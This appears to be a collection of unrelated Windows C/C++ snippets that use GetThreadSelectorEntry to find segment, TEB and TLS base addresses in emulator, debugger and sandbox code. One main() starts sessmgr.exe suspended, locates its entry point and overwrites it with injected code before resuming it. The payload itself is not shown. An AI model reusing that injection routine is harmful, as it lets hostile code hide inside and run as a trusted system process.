/****************************************************************** * addr_to_linear * * converts an address into its linear value */ DWORD WINAPI addr_to_linear(HANDLE hProcess, HANDLE hThread, ADDRESS* addr) { LDT_ENTRY le; switch (addr->Mode) { case AddrMode1616: if (GetThreadSelectorEntry(hThread, addr->Segment, &le)) return (le.HighWord.Bits.BaseHi << 24) + (le.HighWord.Bits.BaseMid << 16) + le.BaseLow + LOWORD(addr->Offset); break; case AddrMode1632: if (GetThreadSelectorEntry(hThread, addr->Segment, &le)) return (le.HighWord.Bits.BaseHi << 24) + (le.HighWord.Bits.BaseMid << 16) + le.BaseLow + addr->Offset; break; case AddrModeReal: return (DWORD)(LOWORD(addr->Segment) << 4) + addr->Offset; case AddrModeFlat: return addr->Offset; default: FIXME("Unsupported (yet) mode (%x)\n", addr->Mode); return 0; } FIXME("Failed to linearize address %04x:%08lx (mode %x)\n", addr->Segment, addr->Offset, addr->Mode); return 0; }
int main(int argc, char *argv[]) { HANDLE hEvent = CreateEvent(nullptr, FALSE, FALSE, L"Useless event"); HANDLE hThread1 = CreateThread(nullptr, 0, &ThreadEntry, hEvent, 0, nullptr); HANDLE hThread2 = CreateThread(nullptr, 0, &ThreadEntry, hEvent, 0, nullptr); HANDLE hThread3 = CreateThread(nullptr, 0, &ThreadEntry, hEvent, 0, nullptr); CONTEXT ctxThread1 = { CONTEXT_ALL }; (void)GetThreadContext(hThread1, &ctxThread1); CONTEXT ctxThread2 = { CONTEXT_ALL }; (void)GetThreadContext(hThread2, &ctxThread2); CONTEXT ctxThread3 = { CONTEXT_ALL }; (void)GetThreadContext(hThread3, &ctxThread3); LDT_ENTRY ldtThread1 = { 0 }; LDT_ENTRY ldtThread2 = { 0 }; LDT_ENTRY ldtThread3 = { 0 }; (void)GetThreadSelectorEntry(hThread1, ctxThread1.SegFs, &ldtThread1); (void)GetThreadSelectorEntry(hThread2, ctxThread2.SegFs, &ldtThread2); (void)GetThreadSelectorEntry(hThread3, ctxThread3.SegFs, &ldtThread3); NT_TIB *pTibMain = (NT_TIB *)__readfsdword(0x18); DWORD_PTR dwFSBase1 = (ldtThread1.HighWord.Bits.BaseHi << 24) | (ldtThread1.HighWord.Bits.BaseMid << 16) | ldtThread1.BaseLow; DWORD_PTR dwFSBase2 = (ldtThread2.HighWord.Bits.BaseHi << 24) | (ldtThread2.HighWord.Bits.BaseMid << 16) | ldtThread2.BaseLow; DWORD_PTR dwFSBase3 = (ldtThread3.HighWord.Bits.BaseHi << 24) | (ldtThread3.HighWord.Bits.BaseMid << 16) | ldtThread3.BaseLow; fprintf(stderr, "Thread 1 FS Segment base address: %X\n" "Thread 2 FS Segment base address : %X\n" "Thread 3 FS Segment base address : %X\n", dwFSBase1, dwFSBase2, dwFSBase3); DWORD_PTR dwWOW64Address1 = *(DWORD_PTR *)((unsigned char *)dwFSBase1 + 0xC0); DWORD_PTR dwWOW64Address2 = *(DWORD_PTR *)((unsigned char *)dwFSBase2 + 0xC0); DWORD_PTR dwWOW64Address3 = *(DWORD_PTR *)((unsigned char *)dwFSBase3 + 0xC0); fprintf(stderr, "Thread 1 FS:[0xC0] : %X\n" "Thread 2 FS:[0xC0] : %X\n" "Thread 3 FS:[0xC0] : %X\n", dwWOW64Address1, dwWOW64Address2, dwWOW64Address3); return 0; }
ESTATUS main_GetThreadTebAddress(HANDLE hThread, PVOID *ppvTebAddress) { ESTATUS eReturn = ESTATUS_INVALID; CONTEXT tContext = { 0 }; BOOL bErr = FALSE; LDT_ENTRY tLdtEnry = { 0 }; PVOID pvTebAddress; eReturn = main_GetThreadContext(hThread, CONTEXT_SEGMENTS, &tContext); if (ESTATUS_FAILED(eReturn)) { goto lblCleanup; } bErr = GetThreadSelectorEntry(hThread, tContext.SegFs, &tLdtEnry); if (FALSE == bErr) { eReturn = ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED; goto lblCleanup; } pvTebAddress = (PVOID)( (tLdtEnry.BaseLow) | (tLdtEnry.HighWord.Bytes.BaseMid << 0x10) | (tLdtEnry.HighWord.Bytes.BaseHi << 0x18) ); *ppvTebAddress = pvTebAddress; eReturn = ESTATUS_SUCCESS; lblCleanup: return eReturn; }
// This is an GDT/LDT selector (pGDT+Selector) BYTE *GetAbsoluteAddressFromSelector(WORD Selector, DWORD Offset) { DESCRIPTOR_ENTRY Entry; GATE_ENTRY *Gate; ULONG_PTR Base; assert(Selector < 0x10000); if (!GetThreadSelectorEntry(GetCurrentThread(), Selector, (LDT_ENTRY *)&Entry)) return NULL; if (!Entry.Present) return NULL; if (Entry.System) { Base = 0; #ifdef _WIN64 Base |= (ULONG_PTR)Entry.HighOffset64 << 32; #endif Base |= Entry.BaseHi << 24; Base |= Entry.BaseMid << 16; Base |= Entry.BaseLow; } else { switch (Entry.Type) { case 1: // 16-bit TSS (available) case 2: // LDT case 3: // 16-bit TSS (busy) case 9: // 32-bit TSS (available) case 11: // 32-bit TSS (busy) Base = 0; #ifdef _WIN64 Base |= (ULONG_PTR)Entry.HighOffset64 << 32; #endif Base |= Entry.BaseHi << 24; Base |= Entry.BaseMid << 16; Base |= Entry.BaseLow; break; case 4: // 16-bit call gate case 5: // task gate case 6: // 16-bit interrupt gate case 7: // 16-bit task gate case 12: // 32-bit call gate case 14: // 32-bit interrupt gate case 15: // 32-bit trap gate Gate = (GATE_ENTRY *)&Entry; #ifdef _WIN64 Base = ((ULONG_PTR)Gate->HighOffset64 << 32) | (Gate->HighOffset << 16) | Gate->LowOffset; #else Base = (Gate->HighOffset << 16) | Gate->LowOffset; #endif assert(!Offset); Offset = 0; break; default: assert(0); return NULL; } } return (BYTE *)Base + Offset; }
/// <summary> /// Gets the main TLS address (optionally with an offset added) /// </summary> /// <param name="offset">The offset to add to the TLS address.</param> /// <returns>A Pointer to the TLS.</returns> Pointer Engine::GetMainTls(size_t offset) { static Pointer ThreadLocalStorage; if (!ThreadLocalStorage && GetGameThreadID()) { size_t MainThreadID = GetGameThreadID(); HANDLE MainThreadHandle = OpenThread(THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, false, MainThreadID); // Get thread context CONTEXT MainThreadContext; MainThreadContext.ContextFlags = CONTEXT_FULL; if (MainThreadID != GetCurrentThreadId()) SuspendThread(MainThreadHandle); BOOL success = GetThreadContext(MainThreadHandle, &MainThreadContext); if (!success) { OutputDebugStringA(std::string("Error getting thread context: ").append(std::to_string(GetLastError())).c_str()); std::exit(1); } ResumeThread(MainThreadHandle); // Get thread selector LDT_ENTRY MainThreadLdt; success = GetThreadSelectorEntry(MainThreadHandle, MainThreadContext.SegFs, &MainThreadLdt); if (!success) { OutputDebugStringA(std::string("Error getting thread context: ").append(std::to_string(GetLastError())).c_str()); } size_t TlsPtrArrayAddress = (size_t)((size_t)(MainThreadLdt.HighWord.Bits.BaseHi << 24) | (MainThreadLdt.HighWord.Bits.BaseMid << 16) | MainThreadLdt.BaseLow) + 0x2C; size_t TlsPtrAddress = Pointer(TlsPtrArrayAddress).Read<uint32_t>(); // Index has been consistantly 0. Keep a look out. ThreadLocalStorage = Pointer(TlsPtrAddress)[0]; } return ThreadLocalStorage(offset); }
BOOL GetDescriptorData( WORD selector, LPVDMLDT_ENTRY pdte ) { #ifdef i386 LDT_ENTRY dte; if (!GetThreadSelectorEntry( hCurrentThread, selector, &dte)) { return( FALSE ); } pdte->HighWord = dte.HighWord; pdte->BaseLow = dte.BaseLow; pdte->LimitLow = dte.LimitLow; return (TRUE); #else PVOID LdtAddress; NTSTATUS Status; selector &= ~(SELECTOR_LDT | SELECTOR_RPL); // // Get address of Ldt // LdtAddress = (PVOID)EXPRESSION("ntvdm!Ldt"); Status = READMEM(LdtAddress, &LdtAddress, sizeof(ULONG)); if (!Status) { return FALSE; } (PUCHAR)LdtAddress += selector; Status = READMEM(LdtAddress, pdte, sizeof(VDMLDT_ENTRY)); return Status; #endif }
BOOL IsBigSel( WORD sel ) { #if defined( MD_axp ) | defined( MD_ppc ) return( TRUE ); #elif defined( MD_x86 ) || defined( MD_x64 ) thread_info *ti; LDT_ENTRY ldt; if( sel == FlatCS || sel == FlatDS ) { return( TRUE ); } ti = FindThread( DebugeeTid ); if( ti == NULL ) { return( TRUE ); } GetThreadSelectorEntry( ti->thread_handle, sel, &ldt ); return( ldt.HighWord.Bits.Default_Big ); #else #error IsBigSel not configured #endif }
static unsigned long get_ds_base (void) { unsigned short dsval; LDT_ENTRY ldt; unsigned long dsbase; __asm { mov dsval,ds } dsbase = 0; GetThreadSelectorEntry (GetCurrentThread(), dsval, &ldt); dsbase = ldt.HighWord.Bits.BaseHi << 24 | ldt.HighWord.Bits.BaseMid << 16 | ldt.BaseLow; return dsbase; }
void main(void) { STARTUPINFO sinfo; PROCESS_INFORMATION pinfo; CONTEXT context; LDT_ENTRY sel; DWORD read,tib,peb,exebase,peoffs,ep; IMAGE_NT_HEADERS pehdr; int len; char sessmgr[MAX_PATH+13]; char buffer[2048]; GetSystemDirectory(sessmgr,MAX_PATH); sessmgr[MAX_PATH]=0; strcat(sessmgr,"\\sessmgr.exe"); memset(&sinfo,0,sizeof(sinfo)); sinfo.cb=sizeof(sinfo); if (!CreateProcess(sessmgr,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&sinfo,&pinfo)) printf("createprocess failed"), exit(1); context.ContextFlags=CONTEXT_FULL; GetThreadContext(pinfo.hThread,&context); GetThreadSelectorEntry(pinfo.hThread,context.SegFs,&sel); tib=sel.BaseLow|(sel.HighWord.Bytes.BaseMid<<16)|(sel.HighWord.Bytes.BaseHi<<24); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(tib+0x30),&peb,4,&read); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(peb+0x08),&exebase,4,&read); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+0x3C),&peoffs,4,&read); ReadProcessMemory(pinfo.hProcess,(LPCVOID)(exebase+peoffs),&pehdr,sizeof(pehdr),&read); ep=exebase+pehdr.OptionalHeader.AddressOfEntryPoint; len=injcode(buffer); VirtualProtect((LPVOID)ep,len,PAGE_EXECUTE_READWRITE,&read); WriteProcessMemory(pinfo.hProcess,(LPVOID)ep,buffer,len,&read); ResumeThread(pinfo.hThread); }
void NaClLdtPrintSelector(uint16_t selector) { /* type_name converts the segment type into print name */ static const char* type_name[] = { "data read only", "data read_only accessed", "data read write", "data read write accessed", "data read expand", "data read expand accessed", "data read write expand", "data read write expand accessed", "code execute", "code execute accessed", "code execute read", "code execute read accessed", "code execute conforming", "code execute conforming accessed", "code execute read conforming", "code execute read conforming accessed" }; struct LdtEntry entry; int retval; /* * Try the first method, using GetThreadSelectorEntry. */ retval = GetThreadSelectorEntry(GetCurrentThread(), selector, (LPLDT_ENTRY)&entry); if (0 != retval) { /* * Failed to get the entry. Try using query_information_process. */ DWORD len; LdtInfo info; memset(&info, 0, sizeof(LdtInfo)); info.byte_offset = selector & ~0x7; info.size = sizeof(struct LdtEntry); retval = query_information_process((HANDLE)-1, 10, (void*)&info, 16, &len); if (0 != retval) { return; } entry = info.entries[0]; } printf("DESCRIPTOR for selector %04x\n", selector); /* create functions to do base, limit, and type */ printf(" base %08x\n", (entry.base_24to31 << 24) | (entry.base_16to23 << 16) | entry.base_00to15); printf(" limit %08x%s\n", (((entry.limit_16to19 << 16) | entry.limit_00to15) << (entry.granularity ? 12 : 0)), (entry.granularity ? " (page granularity)" : "")); printf(" type %s, %s\n", ((entry.type & 0x10) ? "user" : "system"), type_name[entry.type & 0xf]); printf(" privilege %d\n", entry.descriptor_privilege); printf(" present %s\n", (entry.present ? "yes" : "no")); printf(" available %s\n", (entry.available ? "yes" : "no")); printf(" 64-bit code %s\n", (entry.code_64_bit ? "yes" : "no")); printf(" op size %s\n", (entry.op_size_32 ? "32" : "16")); }
BOOL TranslateAddress( HPRCX hprc, HTHDX hthd, LPADDR lpaddr, BOOL f16ToFlat ) /*++ Routine Description: This function is used to preform address translations from the segmented to the flat world and back again. Arguments: hprc - Supplies the handle to the current process hthd - Supplies the handle to the thread for the address lpaddr - Supplies the address to be translated f16ToFlat - Supplies the direction the translation is to be made Return Value: TRUE on success and FALSE on failure --*/ { #if defined(i386) LDT_ENTRY ldt; ULONG ul; #ifdef WIN32S ADDR_IS_FLAT(*lpaddr) = TRUE; ADDR_IS_REAL(*lpaddr) = FALSE; return TRUE; #endif /* * Step 0. If the address has already been mapped flat then return */ if (ADDR_IS_FLAT(*lpaddr)) { return TRUE; } /* * Step 1. Is to find a stopped thread. This is mainly for WOW support * where the lack of a stopped thread is a serious thing, * we can not do anything smartly with wow if this is the * case. We will currently only search for a single * stopped thread cause the blasted operating system won't * let us have more than one. */ if (hthd == 0) { for (hthd = hprc->hthdChild; hthd != hthdxNull; hthd = hthd->nextSibling) { if (hthd->tstate & ts_stopped) { break; } } if (hthd == 0) { hthd = hprc->hthdChild; } } /* * Must have a thread */ if (hthd == NULL) { return FALSE; } /* * Step 2. Depending on if the last event was WOW we need to * either go in with a WOW remap or do the standard * non-wow remap */ if (hthd->fAddrIsFlat) { if (ADDR_IS_REAL( *lpaddr )) { ul = GetAddrSeg(*lpaddr) * 16 + (DWORD)GetAddrOff(*lpaddr); lpaddr->addr.off = ul; } else if (GetThreadSelectorEntry(hthd->rwHand, GetAddrSeg(*lpaddr), &ldt)) { ul = (ldt.HighWord.Bytes.BaseHi << 24) | (ldt.HighWord.Bytes.BaseMid << 16) | (ldt.BaseLow); lpaddr->addr.off += ul; } else { /* * Unrecognized selector */ return FALSE; } } else { #if defined(i386) && !defined(WIN32S) lpaddr->addr.off = (*pfnVDMGetPointer)(hprc->rwHand, hthd->rwHand, (WORD)GetAddrSeg(*lpaddr), (DWORD)GetAddrOff(*lpaddr), !lpaddr->mode.fReal); #else // defined(i386) && !defined(WIN32S) assert(FALSE); return FALSE; #endif // defined(i386) && !defined(WIN32S) } #endif ADDR_IS_FLAT(*lpaddr) = TRUE; ADDR_IS_REAL(*lpaddr) = FALSE; return TRUE; } /* TranslateAddress() */